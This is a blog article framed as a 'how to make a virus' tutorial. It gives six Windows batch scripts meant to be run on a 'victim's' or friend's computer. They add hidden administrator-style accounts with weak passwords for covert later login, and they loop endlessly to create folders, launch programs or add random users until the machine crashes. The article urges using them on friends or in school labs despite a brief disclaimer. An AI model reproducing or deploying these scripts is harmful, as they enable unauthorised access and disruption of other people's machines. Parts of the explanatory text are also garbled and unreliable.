LIVE NEWSROOM · --:-- · May 24, 2026
A LIBRARY FOR SECURITY RESEARCHERS

How to make a virus with notepad

Post on X LinkedIn
How to make a virus with notepad

Hello guys 🙂 lucifer here, and today in this article I will show you the techniques and scripts to create a computer virus in notepad. These are the simple user-defined script programs that will do the thing which was written in the script.

These scripts are harmful. Sometimes they may corrupt the hard disk data of the victim’s computer intentionally or by mistake. there are many types of commands and scripts that you can implement and create a virus for you.

This article is only for educational and fun purposes don’t use these tricks and scripts for any intentional acts to harm someone because it will be subject to crime.

computer virus

// 01 What is the notepad virus?

Notepad viruses are nothing but user-defined scripts to do a certain amount of tasks on the victim’s computer. These are created as bat executable files which will execute certain tasks from the scripts written in them. You can write these scripts in notepad and then save them as (.bat) files, which will make them executable files for Windows computers as a virus.

These bat files can do many things on Windows PC to irritate their owner. Things like adding any user to the machine, adding unwanted files or folders in it, shutdown their PC again and again, launching any program in the loop, deleting files or corrupting the hard disk, or crashing the computer from many tasks, and many more things.

// 02 Virus code in notepad

These codes are written in notepad and saved as a (.bat) file extension. So you need to do the same as it is for running it. Don’t execute this script in your host machine you can use it alternatively as a VM machine.

1:- adding user virus

echo off
net user hacker /add
net user hacker 123
net user hacker2 /add
net user hacker2 123

victims need to run this script as administrator, and then it will add two unknown users to the machine with owner knowledge and permission. So late on you can log in to the system without getting acknowledged by the owner of the machine

1:- adding the unwanted folder

@echo off
:x
md %random%
/folder.
goto x

The above script will create so many unknown folders in the victim’s machine.

3:- starting applications one time

@echo off 
start application1
start application2
start application3
start application4
start application5

You need to replace the [application,1,2,3,] with your choice of applications from the victim’s computer. After victims double-click on the file, it will start opening all the application one by one as defined in the script. And this will really irritate your friend.

4:- starting the application in a loop

@echo off
:x
start application1
start application2
start application3
start application4
start application5
goto x

This is a very annoying script because when it will get started it won’t stop until the PC gets crashed or the user uses the forced shutdown method.

5:- For creating too many random users

@echo off 
:x
net user %random% /add
goto x

These scripts need to be executed as administrators for proper working. and this will create so many random users in the machine to irritate your friend.

6:- For creating a matrix effect in cmd

@echo off
color 05
:x
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto x

this will generate a matrix effect in cmd in the loop without stooping

using the above script you can easily prank your friend, or you can use these in your school or college lab.

    TE
    Team Ciphers Security

    The Ciphers Security editorial team — practitioners covering daily threat intel, CVE deep-dives, and hands-on cybersecurity research. About us →

    Previous Substitution cipher in cryptography Next What is Cryptography in information security?

    Latest News

    CISA Contractor Leaked AWS GovCloud Keys on GitHub for Six Months A Nightwing contractor exposed CISA's AWS GovCloud credentials and internal system keys on a public GitHub repo for… Ghostwriter Deploys Prometheus Phishing Lures Against Ukraine Government Entities Belarus-aligned APT Ghostwriter (UAC-0057) is targeting Ukrainian government with Prometheus-themed phishing delive… Screening Serpens: Iranian APT Fuses AppDomainManager Hijacking with New RATs in 2026 Espionage Campaign Iran-aligned Screening Serpens is using AppDomainManager hijacking and new RAT variants — MiniJunk and MiniUpdate —… CVE-2026-9082: Critical Drupal SQL Injection Under Attack on Thousands of Sites CVE-2026-9082 is an unauthenticated SQL injection in Drupal Core affecting PostgreSQL deployments across versions 8… CVE-2026-20182: Cisco Catalyst SD-WAN CVSS 10.0 Auth Bypass Actively Exploited CVE-2026-20182 (CVSS 10.0 Critical) is a Cisco Catalyst SD-WAN Controller auth bypass exploited by UAT-8616. Metasp… Kali365 PhaaS Kit Bypasses Microsoft 365 MFA via Device Code Phishing — FBI Warning FBI warns Kali365 PhaaS kit steals Microsoft 365 OAuth tokens, bypassing MFA. Hundreds of orgs compromised daily. A… Megalodon: Supply Chain Attack Backdoors 5,561 GitHub Repos in Six Hours via CI/CD Workflow Injection Megalodon supply chain attack compromised 5,561 GitHub repos in 6 hours on May 18, injecting malicious CI/CD workfl… Stolen Gemini API Keys and AI Fraud: How 'Quantum Patriot' Drained Crypto Wallets via Fake QAnon Content A Russian-speaking fraudster used 73 stolen Gemini API keys and an automated Python pipeline to generate fake QAnon…
    Scroll to Top
    Ad